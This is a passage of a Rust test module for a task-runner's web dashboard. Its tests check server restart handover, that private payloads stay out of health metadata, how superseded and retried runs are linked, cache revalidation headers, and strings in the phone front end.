23700            .begin_talk_turn("active-chat")
23701            .expect("claim")
23702            .expect("free");
23703        let execution = crate::worker::try_lease(home.path(), "active-task")
23704            .expect("execution lease")
23705            .expect("free");
23706        let listener = tokio::net::TcpListener::bind((Ipv4Addr::LOCALHOST, 0))
23707            .await
23708            .expect("bind loopback");
23709        let address = listener.local_addr().expect("address");
23710        let admissions = Arc::clone(&ui.admissions);
23711        let served = tokio::spawn(axum::serve(listener, ui.router()).into_future());
23712        let successor_started = std::sync::atomic::AtomicBool::new(false);
23713        tokio::time::timeout(
23714            Duration::from_secs(2),
23715            hand_over(home.path(), &admissions, served, || {
23716                successor_started.store(true, std::sync::atomic::Ordering::SeqCst);
23717                Ok(1)
23718            }),
23719        )
23720        .await
23721        .expect("restart must not wait for execution")
23722        .expect("handover");
23723        assert!(successor_started.load(std::sync::atomic::Ordering::SeqCst));
23724        // BSD may retain the address briefly after listener release. The real
23725        // successor uses the same bounded bind retry rather than a one-shot bind.
23726        let successor = bind_waiting(address)
23727            .await
23728            .expect("successor binds released address");
23729        assert_eq!(successor.local_addr().unwrap(), address);
23730        assert!(turns.owns(), "the chat lease survives restart");
23731        assert!(
23732            crate::worker::try_lease(home.path(), "active-task")
23733                .unwrap()
23734                .is_none()
23735        );
23736        drop(execution);
23737        drop(turns);
23738    }
23739
23740    #[tokio::test]
23741    async fn handover_drains_admission_but_never_waits_for_the_chat_turn() {
23742        let home = TempDir::new().expect("temp home");
23743        let ui = idle_ui(&home);
23744        let admission = ui.begin_admission().expect("admit send");
23745        let turn = ui
23746            .begin_talk_turn("active-chat")
23747            .expect("claim")
23748            .expect("free");
23749        let listener = tokio::net::TcpListener::bind((Ipv4Addr::LOCALHOST, 0))
23750            .await
23751            .expect("bind loopback");
23752        let address = listener.local_addr().expect("address");
23753        let served = tokio::spawn(axum::serve(listener, ui.clone().router()).into_future());
23754        let successor_called = std::sync::atomic::AtomicBool::new(false);
23755        let handover = hand_over(home.path(), &ui.admissions, served, || {
23756            successor_called.store(true, std::sync::atomic::Ordering::SeqCst);
23757            Ok(1)
23758        });
23759        tokio::pin!(handover);
23760        // Poll exactly to the writer waiting on our admission guard. This
23761        // pins the race without sleeps or assumptions about task scheduling.
23762        std::future::poll_fn(|cx| {
23763            assert!(std::future::Future::poll(handover.as_mut(), cx).is_pending());
23764            std::task::Poll::Ready(())
23765        })
23766        .await;
23767        assert!(!successor_called.load(std::sync::atomic::Ordering::SeqCst));
23768        assert!(
23769            ui.begin_admission().is_err(),
23770            "new ingress cannot race the drain"
23771        );
23772        assert_eq!(request(address, "GET", "/api/loop", None).await.status, 200);
23773        drop(admission);
23774        tokio::time::timeout(Duration::from_secs(2), handover)
23775            .await
23776            .expect("only publication may delay restart")
23777            .expect("handover");
23778        assert!(successor_called.load(std::sync::atomic::Ordering::SeqCst));
23779        assert!(
23780            turn.owns(),
23781            "the detached chat turn is not awaited or cancelled"
23782        );
23783        assert!(
23784            ui.begin_admission().is_err(),
23785            "old accepted connections stay closed"
23786        );
23787        drop(turn);
23788    }
23789
23790    #[test]
23791    fn health_worker_metadata_never_contains_payload_or_result() {
23792        let view = WorkerView::from(crate::worker::Job {
23793            id: "job".into(),
23794            sequence: 1,
23795            kind: "service".into(),
23796            key: "maintenance".into(),
23797            payload: serde_json::json!({"env": {"TOKEN": "private"}}),
23798            generation: "generation".into(),
23799            version: Some("1.2.3".into()),
23800            status: crate::worker::Status::Running,
23801            result: Some("private diagnostics".into()),
23802            pid: Some(4242),
23803            created_at: 1,
23804            finished_at: None,
23805        });
23806        let value = serde_json::to_value(view).expect("serialize public metadata");
23807        assert_eq!(value["version"], "1.2.3");
23808        assert_eq!(value["pid"], 4242);
23809        assert!(value.get("payload").is_none());
23810        assert!(value.get("result").is_none());
23811        assert!(!value.to_string().contains("private"));
23812    }
23813
23814    #[test]
23815    fn upgraded_scheduler_remains_owned_by_a_replacement_web() {
23816        let home = TempDir::new().expect("temp home");
23817        let ui = idle_ui(&home);
23818        std::fs::write(
23819            home.path().join("daemon.json"),
23820            serde_json::json!({
23821                "schema": 2, "pid": 4242, "worker_protocol": 1,
23822                "updated_at": Timestamp::now().to_string(), "idle": true,
23823            })
23824            .to_string(),
23825        )
23826        .expect("status");
23827        let reading = daemon::read_status(home.path());
23828        assert!(Foreign::of(reading.as_ref()).is_none());
23829        let view = ui.runtime_loop_view(reading, &[]);
23830        assert!(view.running);
23831        assert!(view.owned);
23832    }
23833
23834    #[test]
23835    fn only_an_explicit_one_requests_a_resume() {
23836        assert!(!resume_requested(None));
23837        assert!(!resume_requested(Some("0".into())));
23838        assert!(!resume_requested(Some("".into())));
23839        assert!(resume_requested(Some("1".into())));
23840    }
23841
23842    #[test]
23843    fn an_error_is_visible_from_where_the_button_is() {
23844        // The alert used to sit in the flow under the header. On a phone
23845        // scrolled 13 500 px down to a run's action sheet that is off screen,
23846        // so tapping Resume and being told "the loop is running run b455
23847        // right now" looked exactly like a button that did nothing.
23848        let alert = &APP_CSS[APP_CSS.find(".alert {").expect(".alert")
23849            ..APP_CSS.find(".alert-text").expect(".alert-text")];
23850        assert!(
23851            alert.contains("position: fixed"),
23852            "an error about the thing under your thumb has to be visible from \
23853             where your thumb is: {alert}"
23854        );
23855        assert!(
23856            alert.contains("z-index: 25"),
23857            "above the dock (20) and the run-actions FAB (15), so neither \
23858             buries it: {alert}"
23859        );
23860        assert!(
23861            alert.contains("var(--tap)"),
23862            "and clear of the dock and the home indicator: {alert}"
23863        );
23864        // The FAB sits at the same height on the right. An error that covered
23865        // it would hide the button the operator reaches for next.
23866        assert!(
23867            alert.contains("var(--s4) + var(--tap) + var(--s3)"),
23868            "the FAB's column stays free: {alert}"
23869        );
23870    }
23871
23872    #[tokio::test]
23873    async fn an_older_attempt_says_what_replaced_it() {
23874        let fx = Fixture::start().await;
23875        let q = fx.queue();
23876        let runs = fx.runs();
23877        let (first, second) = ("20260901-000000-aaaa", "20260901-000000-bbbb");
23878        write_run(&runs, first, RunStatus::Stalled);
23879        write_run(&runs, second, RunStatus::Blocked);
23880
23881        let mut t = Task::new(
23882            "one task".to_owned(),
23883            "do it".to_owned(),
23884            PathBuf::from("/repo"),
23885            Source::Human,
23886        );
23887        t.runs = vec![first.to_owned(), second.to_owned()];
23888        q.put(&mut t).expect("put");
23889
23890        // Two cards with the same title and no hint which is which was the
23891        // question: "why are there two of the same, one stalled and one
23892        // blocked?" The older one now names its replacement.
23893        let rows = fx.get("/api/runs").await.json();
23894        let by = |short: &str| -> Value {
23895            rows.as_array()
23896                .unwrap()
23897                .iter()
23898                .find(|r| r["short"] == short)
23899                .cloned()
23900                .unwrap_or(Value::Null)
23901        };
23902        assert_eq!(by("aaaa")["superseded_by"], "bbbb");
23903        assert!(
23904            by("bbbb")["superseded_by"].is_null(),
23905            "the latest attempt is not superseded by anything"
23906        );
23907        // Front end: the note has to be rendered, not just carried.
23908        assert!(APP_JS.contains("run.superseded_by"));
23909        assert!(APP_JS.contains("Superseded by"));
23910    }
23911
23912    fn outcome_task(runs: &[&str], status: TaskStatus) -> Task {
23913        let mut t = Task::new(
23914            "one task".to_owned(),
23915            "do it".to_owned(),
23916            PathBuf::from("/repo"),
23917            Source::Human,
23918        );
23919        t.runs = runs.iter().map(|r| (*r).to_owned()).collect();
23920        t.status = status;
23921        t
23922    }
23923
23924    #[test]
23925    fn source_link_picks_the_page_that_filed_the_task() {
23926        let agent = |node: &str| Source::Agent {
23927            run: "20260904-014455-ab12".to_owned(),
23928            node: node.to_owned(),
23929        };
23930        let chat = source_link(&agent("chat")).expect("chat link");
23931        assert_eq!(chat.kind, "chat");
23932        assert_eq!(chat.id, "20260904-014455-ab12");
23933        assert_eq!(chat.href, "#/chat/20260904-014455-ab12");
23934        let run = source_link(&agent("implement")).expect("run link");
23935        assert_eq!(
23936            (run.kind, run.href.as_str()),
23937            ("run", "#/runs/20260904-014455-ab12")
23938        );
23939        assert_eq!(source_link(&Source::Human), None);
23940        assert_eq!(
23941            source_link(&Source::Issue {
23942                number: 3,
23943                repo: "o/r".to_owned()
23944            }),
23945            None
23946        );
23947        let odd = source_link(&Source::Agent {
23948            run: "a b/c".to_owned(),
23949            node: "chat".to_owned(),
23950        })
23951        .expect("link");
23952        assert_eq!(odd.href, "#/chat/a%20b%2Fc");
23953    }
23954
23955    #[test]
23956    fn the_ui_reads_the_source_link_instead_of_guessing_a_route() {
23957        assert!(
23958            !APP_JS.contains("src.node === \"chat\""),
23959            "inline href rule is back"
23960        );
23961        assert!(
23962            APP_JS.matches("sourceLinkOf(").count() >= 4,
23963            "helper must serve every page"
23964        );
23965        assert!(
23966            APP_JS.matches("openChatLink(").count() >= 3,
23967            "the run page still needs its explicit chat link"
23968        );
23969        assert!(
23970            !APP_JS.contains("const openChat = el("),
23971            "the Queue card duplicates its source label link again"
23972        );
23973        assert!(
23974            APP_JS.contains("metaKids.push(link ? el(\"a\""),
23975            "the task page must link a chat source label too"
23976        );
23977    }
23978
23979    #[test]
23980    fn task_ref_carries_the_source_link_for_a_chat_task() {
23981        let mut t = outcome_task(&["20260901-000000-aaaa"], TaskStatus::Held);
23982        t.source = Source::Agent {
23983            run: "20260904-014455-ab12".to_owned(),
23984            node: "chat".to_owned(),
23985        };
23986        let out = task_outcome(&t, "20260901-000000-aaaa", 3, |_| None);
23987        let v = serde_json::to_value(&out).expect("json");
23988        assert_eq!(v["source_link"]["kind"], "chat", "{v}");
23989        assert_eq!(v["source_link"]["href"], "#/chat/20260904-014455-ab12");
23990        assert_eq!(v["source_label"], t.source.label());
23991
23992        let human = outcome_task(&["20260901-000000-aaaa"], TaskStatus::Held);
23993        let v = serde_json::to_value(task_outcome(&human, "20260901-000000-aaaa", 3, |_| None))
23994            .expect("json");
23995        assert!(v["source_link"].is_null(), "{v}");
23996    }
23997
23998    #[test]
23999    fn task_view_serializes_source_link() {
24000        let mut t = Task::new(
24001            "t".to_owned(),
24002            "t".to_owned(),
24003            PathBuf::from("/repo"),
24004            Source::Agent {
24005                run: "20260901-000000-aaaa".to_owned(),
24006                node: "implement".to_owned(),
24007            },
24008        );
24009        t.runs.clear();
24010        let v = serde_json::to_value(TaskView::from(t)).expect("json");
24011        assert_eq!(v["source_link"]["kind"], "run", "{v}");
24012        assert_eq!(v["source_link"]["href"], "#/runs/20260901-000000-aaaa");
24013    }
24014
24015    #[test]
24016    fn task_view_serializes_urgent_flag() {
24017        let mut t = Task::new(
24018            "t".to_owned(),
24019            "t".to_owned(),
24020            PathBuf::from("/repo"),
24021            Source::Human,
24022        );
24023        let v = serde_json::to_value(TaskView::from(t.clone())).expect("json");
24024        assert_eq!(v["urgent"], false, "{v}");
24025        t.urgent = true;
24026        let v = serde_json::to_value(TaskView::from(t)).expect("json");
24027        assert_eq!(v["urgent"], true, "{v}");
24028        assert!(APP_JS.contains("task.urgent === true"));
24029    }
24030
24031    #[tokio::test]
24032    async fn a_blocked_run_reports_the_task_finishing_elsewhere() {
24033        let fx = Fixture::start().await;
24034        let runs = fx.runs();
24035        let (old, new) = ("20260901-000000-aaaa", "20260901-000000-bbbb");
24036        write_run(&runs, old, RunStatus::Blocked);
24037        write_run(&runs, new, RunStatus::Merged);
24038        let mut t = outcome_task(&[old, new], TaskStatus::Done);
24039        fx.queue().put(&mut t).expect("put");
24040
24041        let view = fx.get(&format!("/api/runs/{old}")).await.json();
24042        let task = &view["task"];
24043        assert_eq!(task["status"], "done");
24044        assert_eq!(task["is_latest"], false);
24045        assert_eq!(task["latest"]["short"], "bbbb");
24046        assert_eq!(task["finished_by"]["id"], new);
24047        assert_eq!(task["finished_by"]["outcome"], "merged");
24048        assert_eq!(task["closed_by_hand"], false);
24049        assert_eq!(view["status"], "blocked", "the run keeps its own status");
24050        assert!(APP_JS.contains("finished_by"));
24051        assert!(APP_JS.contains("superseded by run"));
24052    }
24053
24054    #[tokio::test]
24055    async fn the_latest_run_reports_a_held_task_without_a_successor() {
24056        let fx = Fixture::start().await;
24057        let runs = fx.runs();
24058        let (old, new) = ("20260901-000000-aaaa", "20260901-000000-bbbb");
24059        write_run(&runs, old, RunStatus::Stalled);
24060        write_run(&runs, new, RunStatus::Blocked);
24061        let mut t = outcome_task(&[old, new], TaskStatus::Held);
24062        fx.queue().put(&mut t).expect("put");
24063
24064        let task = fx.get(&format!("/api/runs/{new}")).await.json()["task"].clone();
24065        assert_eq!(task["status"], "held");
24066        assert_eq!(task["is_latest"], true);
24067        assert!(task["latest"].is_null());
24068        assert!(task["finished_by"].is_null());
24069        assert_eq!(task["closed_by_hand"], false);
24070    }
24071
24072    #[tokio::test]
24073    async fn a_direct_run_has_no_task_outcome() {
24074        let fx = Fixture::start().await;
24075        let runs = fx.runs();
24076        let id = "20260901-000000-aaaa";
24077        write_run(&runs, id, RunStatus::Blocked);
24078        let view = fx.get(&format!("/api/runs/{id}")).await.json();
24079        assert!(view["task"].is_null());
24080    }
24081
24082    #[test]
24083    fn task_outcome_does_not_guess_a_finishing_run() {
24084        let a = "20260901-000000-aaaa";
24085        let b = "20260901-000000-bbbb";
24086        let c = "20260901-000000-cccc";
24087        let dir = tempfile::tempdir().expect("tempdir");
24088        write_run(dir.path(), a, RunStatus::Blocked);
24089        write_run(dir.path(), b, RunStatus::VerifiedNoop);
24090        // `c` has no record: unreadable.
24091        let read = |id: &str| read_run(dir.path(), id).ok();
24092        // Neither a blocked run nor a no-op finished the task; the newest run is
24093        // unreadable and still named.
24094        let t = outcome_task(&[a, b, c], TaskStatus::Done);
24095        let out = task_outcome(&t, a, 3, read);
24096        assert!(out.finished_by.is_none());
24097        assert!(out.closed_by_hand);
24098        let latest = out.latest.expect("latest");
24099        assert_eq!(latest.id, c);
24100        assert_eq!(latest.status, None);
24101        assert_eq!(latest.outcome, "record unreadable");
24102
24103        // A Ready run settles the task as done, so it is named as the finisher.
24104        write_run(dir.path(), c, RunStatus::Ready);
24105        let t = outcome_task(&[a, c], TaskStatus::Done);
24106        let out = task_outcome(&t, a, 3, |id| read_run(dir.path(), id).ok());
24107        assert_eq!(out.finished_by.expect("finisher").id, c);
24108        assert!(!out.closed_by_hand);
24109
24110        // A resumed run id repeats: it is still the latest by id.
24111        let t = outcome_task(&[a, b, a], TaskStatus::Held);
24112        assert!(task_outcome(&t, a, 3, read).is_latest);
24113    }
24114
24115    #[tokio::test]
24116    async fn a_run_s_own_detail_page_says_what_replaced_it_too() {
24117        // The list route has known this since the card fix above; the detail
24118        // route — what an operator actually opens from a notification about
24119        // a blocked run — did not, and went on showing a bare red BLOCKED
24120        // chip for a run a retry had already finished.
24121        let fx = Fixture::start().await;
24122        let q = fx.queue();
24123        let runs = fx.runs();
24124        let (first, second) = ("20260901-000000-cccc", "20260901-000000-dddd");
24125        write_run(&runs, first, RunStatus::Blocked);
24126        write_run(&runs, second, RunStatus::Merged);
24127
24128        let mut t = Task::new(
24129            "one task".to_owned(),
24130            "do it".to_owned(),
24131            PathBuf::from("/repo"),
24132            Source::Human,
24133        );
24134        t.runs = vec![first.to_owned(), second.to_owned()];
24135        q.put(&mut t).expect("put");
24136
24137        let earlier = fx.get(&format!("/api/runs/{first}")).await.json();
24138        assert_eq!(earlier["superseded_by"], "dddd");
24139        assert_eq!(earlier["latest_attempt"]["id"], second);
24140        assert_eq!(earlier["latest_attempt"]["short"], "dddd");
24141        assert_eq!(
24142            earlier["latest_attempt"]["resolved"], true,
24143            "the run that replaced it landed, so this one reads as settled"
24144        );
24145
24146        let later = fx.get(&format!("/api/runs/{second}")).await.json();
24147        assert!(
24148            later["superseded_by"].is_null(),
24149            "the latest attempt is not superseded by anything"
24150        );
24151        assert!(
24152            later["latest_attempt"].is_null(),
24153            "the latest attempt has no later attempt of its own"
24154        );
24155
24156        // Front end: the detail page has to read the field this route now
24157        // carries, downgrade the chip, and link to the run that replaced it —
24158        // not just repeat the list card's own logic under a different name.
24159        // The link is built off `latest_attempt.id`, the server-resolved
24160        // full id, never a bare short string a client would have to guess a
24161        // full run from.
24162        assert!(APP_JS.contains("run.latest_attempt"));
24163        assert!(APP_JS.contains("data-superseded"));
24164        assert!(APP_JS.contains("#/runs/${latest.id}"));
24165    }
24166
24167    #[tokio::test]
24168    async fn a_chain_of_retries_points_the_oldest_at_the_current_head() {
24169        // A -> B -> C, all Blocked except the last. A's immediate successor
24170        // (superseded_by) is B, which is itself unresolved; what an operator
24171        // opening A's page actually needs is where the task's story stands
24172        // *now* - C, not B - without depending on whether C happens to be in
24173        // whatever page of /api/runs the client last cached.
24174        let fx = Fixture::start().await;
24175        let q = fx.queue();
24176        let runs = fx.runs();
24177        let (a, b, c) = (
24178            "20260901-000000-aaaa",
24179            "20260901-000000-bbbb",
24180            "20260901-000000-cccc",
24181        );
24182        write_run(&runs, a, RunStatus::Blocked);
24183        write_run(&runs, b, RunStatus::Blocked);
24184        write_run(&runs, c, RunStatus::Merged);
24185
24186        let mut t = Task::new(
24187            "retried twice".to_owned(),
24188            "do it".to_owned(),
24189            PathBuf::from("/repo"),
24190            Source::Human,
24191        );
24192        t.runs = vec![a.to_owned(), b.to_owned(), c.to_owned()];
24193        q.put(&mut t).expect("put");
24194
24195        let view = fx.get(&format!("/api/runs/{a}")).await.json();
24196        assert_eq!(view["superseded_by"], "bbbb", "the immediate successor");
24197        assert_eq!(
24198            view["latest_attempt"]["id"], c,
24199            "the chain's current head, not the intermediate Blocked retry"
24200        );
24201        assert_eq!(view["latest_attempt"]["resolved"], true);
24202
24203        let mid = fx.get(&format!("/api/runs/{b}")).await.json();
24204        assert_eq!(mid["latest_attempt"]["id"], c);
24205        assert_eq!(mid["latest_attempt"]["resolved"], true);
24206    }
24207
24208    #[tokio::test]
24209    async fn an_unresolved_or_unverified_successor_does_not_read_as_finished() {
24210        let fx = Fixture::start().await;
24211        let q = fx.queue();
24212        let runs = fx.runs();
24213
24214        // Still Blocked: the task is not resolved, so the older run must not
24215        // read as settled either.
24216        let (still_blocked_a, still_blocked_b) = ("20260901-000000-e001", "20260901-000000-e002");
24217        write_run(&runs, still_blocked_a, RunStatus::Blocked);
24218        write_run(&runs, still_blocked_b, RunStatus::Blocked);
24219        let mut t1 = Task::new(
24220            "still stuck".to_owned(),
24221            "do it".to_owned(),
24222            PathBuf::from("/repo"),
24223            Source::Human,
24224        );
24225        t1.runs = vec![still_blocked_a.to_owned(), still_blocked_b.to_owned()];
24226        q.put(&mut t1).expect("put");
24227        let view1 = fx.get(&format!("/api/runs/{still_blocked_a}")).await.json();
24228        assert_eq!(view1["latest_attempt"]["resolved"], false);
24229        assert_eq!(view1["latest_attempt"]["status"], "blocked");
24230        assert_eq!(view1["latest_attempt"]["done"], true);
24231
24232        // Still running: the successor exists and must be reported as such.
24233        let (run_a, run_b) = ("20260901-000000-e005", "20260901-000000-e006");
24234        write_run(&runs, run_a, RunStatus::Blocked);
24235        write_run(&runs, run_b, RunStatus::Implementing);
24236        let mut t3 = Task::new(
24237            "retrying".to_owned(),
24238            "do it".to_owned(),
24239            PathBuf::from("/repo"),
24240            Source::Human,
24241        );
24242        t3.runs = vec![run_a.to_owned(), run_b.to_owned()];
24243        q.put(&mut t3).expect("put");
24244        let view3 = fx.get(&format!("/api/runs/{run_a}")).await.json();
24245        assert_eq!(view3["latest_attempt"]["id"], run_b);
24246        assert_eq!(view3["latest_attempt"]["resolved"], false);
24247        assert_eq!(view3["latest_attempt"]["done"], false);
24248
24249        // VerifiedNoop: a candidate's own unconfirmed claim, held for a human
24250        // to check - not a confirmed finish, so this must not read as
24251        // resolved either, even though the run is done in the sense that
24252        // nothing is still running.
24253        let (noop_a, noop_b) = ("20260901-000000-e003", "20260901-000000-e004");
24254        write_run(&runs, noop_a, RunStatus::Blocked);
24255        write_run(&runs, noop_b, RunStatus::VerifiedNoop);
24256        let mut t2 = Task::new(
24257            "claims done".to_owned(),
24258            "do it".to_owned(),
24259            PathBuf::from("/repo"),
24260            Source::Human,
24261        );
24262        t2.runs = vec![noop_a.to_owned(), noop_b.to_owned()];
24263        q.put(&mut t2).expect("put");
24264        let view2 = fx.get(&format!("/api/runs/{noop_a}")).await.json();
24265        assert_eq!(
24266            view2["latest_attempt"]["resolved"], false,
24267            "an unverified no-op claim must not read as a confirmed finish"
24268        );
24269
24270        // Front end: an unresolved successor must not carry the "finished
24271        // this work" note or the muted chip treatment.
24272        assert!(APP_JS.contains("latest.resolved"));
24273        // ...but the link to it shows as soon as it exists, labelled by state
24274        // and without the "finished" wording or the muted chip.
24275        assert!(APP_JS.contains("successorNote(latest, inFlight)"));
24276        assert!(APP_JS.contains("Latest attempt: "));
24277        assert!(APP_JS.contains("in flight"));
24278        assert!(APP_JS.contains("not resolved"));
24279    }
24280
24281    #[tokio::test]
24282    async fn a_replaced_deck_is_not_served_from_a_phone_s_cache() {
24283        let fx = Fixture::start().await;
24284        // No cache header at all meant browsers invented their own policy,
24285        // and one did: a phone went on showing "Candidates must be folded
24286        // before deleting. Run `magi fold` first." - deleted two releases
24287        // earlier - from a deck that no longer contained the sentence. The
24288        // button it named was right there, and unreachable.
24289        let js = fx.get("/app.js").await;
24290        assert_eq!(js.status, 200);
24291        let tag = js
24292            .header("etag")
24293            .expect("an etag to revalidate against")
24294            .to_owned();
24295        assert!(tag.contains(env!("CARGO_PKG_VERSION")), "tag: {tag}");
24296        assert_eq!(
24297            js.header("cache-control"),
24298            Some("no-cache, must-revalidate"),
24299            "the phone has to ask every time"
24300        );
24301
24302        // And the asking has to be cheap, or `must-revalidate` just means
24303        // "send the whole interface on every load".
24304        let again = fx
24305            .get_with("/app.js", &[("if-none-match", tag.as_str())])
24306            .await;
24307        assert_eq!(
24308            again.status, 304,
24309            "a deck it already has costs one round trip"
24310        );
24311        assert!(again.body.is_empty(), "304 carries no body");
24312
24313        // A weakened tag from a proxy still matches; a different build does
24314        // not, which is the case that has to deliver the new interface.
24315        let weak = fx
24316            .get_with("/app.js", &[("if-none-match", &format!("W/{tag}"))])
24317            .await;
24318        assert_eq!(weak.status, 304);
24319        let stale = fx
24320            .get_with("/app.js", &[("if-none-match", "\"0.0.1-1\"")])
24321            .await;
24322        assert_eq!(stale.status, 200, "an older build must be replaced");
24323        assert!(stale.body.contains("renderRunActions"));
24324    }
24325
24326    #[test]
24327    fn the_task_detail_has_an_actions_fab_and_sheet() {
24328        assert!(INDEX_HTML.contains("id=\"task-actions-fab\""));
24329        assert!(INDEX_HTML.contains("id=\"task-actions-sheet\""));
24330        assert!(INDEX_HTML.contains("id=\"task-actions-error\" role=\"alert\""));
24331        // Shown only on the task route, closed everywhere else.
24332        assert!(APP_JS.contains("show($(\"task-actions-fab\"), route.name === \"task\")"));
24333        assert!(APP_JS.contains("if (route.name !== \"task\") closeTaskActions();"));
24334        // Refreshed whenever the detail redraws, including the loading state.
24335        assert!(APP_JS.contains("renderTaskActions(task.coreOnly || error ? null : task);"));
24336        assert!(APP_JS.contains("renderTaskActions(null);"));
24337        // Same renderers and routes as the Queue card, no new endpoint.
24338        let sheet = APP_JS
24339            .find("function renderTaskActions")
24340            .expect("sheet renderer");
24341        let body = &APP_JS[sheet..sheet + 3000];
24342        assert!(body.contains("changePriority("));
24343        assert!(body.contains("openTaskEdit(task)"));
24344        assert!(body.contains("renderTaskHoldBox(host"));
24345        assert!(body.contains("renderTaskDoneBox(host"));
24346        assert!(body.contains("renderTaskDeleteBox(host"));
24347        assert!(APP_JS.contains("API.priority(id)"));
24348        assert!(APP_JS.contains("API.deleteTask(id)"));
24349        // A deleted task sends the operator back to the queue.
24350        assert!(APP_JS.contains("location.hash = \"#/queue\""));
24351        // A refusal is shown inside the sheet.
24352        assert!(APP_JS.contains("$(\"task-actions-error\")"));
24353    }
24354
24355    #[test]
24356    fn the_run_actions_sheet_leads_with_a_way_to_the_task() {
24357        let task = INDEX_HTML.find("id=\"run-task-box\"").expect("task box");
24358        let actions = INDEX_HTML
24359            .find("id=\"run-actions-box\"")
24360            .expect("actions box");
24361        assert!(task < actions, "the task entry comes first in the sheet");
24362        assert!(APP_JS.contains("renderRunTaskEntry"));
24363        assert!(APP_JS.contains("\"Open task \""));
24364        // A run without a task says why there is nothing to open.
24365        assert!(APP_JS.contains("started directly, no task"));
24366        assert!(APP_JS.contains("sheet-task-link"));
24367        assert!(APP_JS.contains("task-chip-link"));
24368    }
24369
24370    #[test]
24371    fn the_deck_never_sends_the_operator_to_a_terminal() {
24372        // The whole point of the phone UI is that a terminal is not needed.
24373        // The delete control used to answer with "Run `magi fold` first."
24374        assert!(
24375            !APP_JS.contains("Run `magi fold` first"),
24376            "the deck must offer the fold, not prescribe a shell command"
24377        );
24378        assert!(APP_JS.contains("foldRun:"));
24379        assert!(APP_JS.contains("resumeRun:"));
24380        assert!(APP_JS.contains("renderRunActions"));
24381
24382        // Folding is destructive and armed in two steps, like deleting.
24383        assert!(APP_JS.contains("armedFold"));
24384        assert!(APP_JS.contains("Yes, fold worktrees"));
24385
24386        // And the copy has to say that the two actions are opposites, because
24387        // folding throws away exactly what a resume would continue from.
24388        assert!(APP_JS.contains("can no longer be resumed"));
24389    }
24390
24391    #[test]
24392    fn a_finished_run_explains_itself_with_its_own_last_line() {
24393        // The deck used to answer "why did this stop?" with a sentence chosen
24394        // by status alone. Run e633 stalled because two judges answered with
24395        // the wrong JSON shape and its card said "The panel collapsed on
24396        // agent quota" - with `quota: []` in the record and a quota-loss
24397        // counter right above it that correctly said nothing.
24398        assert!(
24399            !APP_JS.contains("collapsed on agent quota"),
24400            "a stall must not be explained by a cause the deck did not check"
24401        );
24402        assert!(
24403            !APP_JS.contains("Review rounds ran out with findings still open, or the gate failed"),
24404            "and a block must not offer a guess with an `or` in it"
24405        );
24406
24407        // The reason it does have is `run.event`, which must reach finished
24408        // runs: gating it on movement hid the recorded truth at the one moment
24409        // the operator is reading the card to find out what happened.
24410        assert!(
24411            APP_JS.contains("setText(r.event, run.event || \"\")"),
24412            "the run's last line is rendered unconditionally"
24413        );
24414        assert!(
24415            !APP_JS.contains("moving && run.event"),
24416            "and never gated on the run still moving"
24417        );
24418
24419        // Quota keeps its own counter, fed by the number actually recorded.
24420        assert!(APP_JS.contains("lost to quota"));
24421    }
24422
24423    /// The runs tree (section) and the state chips (waiting/done) are two
24424    /// independent lenses ANDed together in `renderRuns`, and some pairings
24425    /// can never both be true for any run - every "Landed"/"Ended" run is
24426    /// done by construction, so pairing either with "Active" or "In flight"
24427    /// always rendered zero cards with the filter bar still claiming
24428    /// `Showing Ended`. `sectionCompatibleWithStateFilter` exists to catch
24429    /// that before it happens, checked against `REPRESENTATIVE_RUN_SHAPES` -
24430    /// a handful of (waiting, status) shapes standing in for the run
24431    /// lifecycle, because `cargo test` cannot execute the front end.
24432    ///
24433    /// That stand-in list is itself the part that drifted twice in review:
24434    /// once shipped with `waiting: true` paired with a done status the
24435    /// lifecycle cannot produce, then over-corrected into treating every
24436    /// waiting run as never done - which made "Waiting on you" look
24437    /// incompatible with "Done" even for the one real, reachable shape
24438    /// (Stalled/Blocked, both terminal yet still resumable) that is exactly
24439    /// that combination. This test parses the shapes and the done-rule back
24440    /// out of `APP_JS`, reimplements `runSection` and the five state
24441    /// predicates independently in Rust, and checks the resulting
24442    /// section/filter compatibility table against the lifecycle rules by
24443    /// hand - so either direction of drift fails it again.
24444    #[test]
24445    fn runs_tree_sections_and_state_chips_agree_on_what_a_run_can_be() {
24446        let shapes_marker = "const REPRESENTATIVE_RUN_SHAPES = [";
24447        let shapes_body_start =
24448            APP_JS.find(shapes_marker).expect("the shape list exists") + shapes_marker.len();
24449        let shapes_close = APP_JS[shapes_body_start..]
24450            .find("].map(")
24451            .expect("the shape list is closed by its done-computing .map(...)")
24452            + shapes_body_start;
24453        let shapes_src = &APP_JS[shapes_body_start..shapes_close];
24454
24455        let mut shapes: Vec<(bool, String, bool, bool)> = Vec::new();
24456        for entry in shapes_src.split('{').skip(1) {
24457            let waiting = entry.contains("waiting: true");
24458            let dead = entry.contains("live: \"dead\"");
24459            let status_at =
24460                entry.find("status: \"").expect("each shape names a status") + "status: \"".len();
24461            let status_end = entry[status_at..]
24462                .find('"')
24463                .expect("the status string is closed")
24464                + status_at;
24465            let parked = entry.contains("display_status: \"parked\"");
24466            shapes.push((
24467                waiting,
24468                entry[status_at..status_end].to_string(),
24469                dead,
24470                parked,
24471            ));
24472        }
24473        assert!(shapes.len() >= 6, "parsed shapes: {shapes:?}");
24474
24475        // The done rule itself (`!["implementing"].includes(shape.status)`),
24476        // read out of the source rather than hardcoded, so a renamed
24477        // in-flight status can't silently make every parsed shape "done".
24478        let done_rule_marker = "done: !";
24479        let done_rule_at = APP_JS[shapes_close..]
24480            .find(done_rule_marker)
24481            .expect("the done rule follows the shape list")
24482            + shapes_close
24483            + done_rule_marker.len();
24484        let includes_at = APP_JS[done_rule_at..]
24485            .find(".includes(shape.status)")
24486            .expect("the done rule ends in .includes(shape.status)")
24487            + done_rule_at;
24488        let not_done: Vec<&str> = APP_JS[done_rule_at..includes_at]
24489            .trim()
24490            .trim_start_matches('[')
24491            .trim_end_matches(']')
24492            .split(',')
24493            .map(|s| s.trim().trim_matches('"'))
24494            .filter(|s| !s.is_empty())
24495            .collect();
24496
24497        let shapes: Vec<(bool, String, bool, bool, bool)> = shapes
24498            .into_iter()
24499            .map(|(waiting, status, dead, parked)| {
24500                let done = !not_done.contains(&status.as_str());
24501                (waiting, status, dead, parked, done)
24502            })
24503            .collect();
24504
24505        // `runSection` reimplemented from assets/ui/app.js: `waiting` wins
24506        // outright, then merged/ready land, stalled/blocked/failed/
24507        // verified_noop end, and everything else is still in flight.
24508        fn run_section(waiting: bool, status: &str, dead: bool, parked: bool) -> &'static str {
24509            if waiting {
24510                return "waiting";
24511            }
24512            if dead
24513                && !parked
24514                && !matches!(
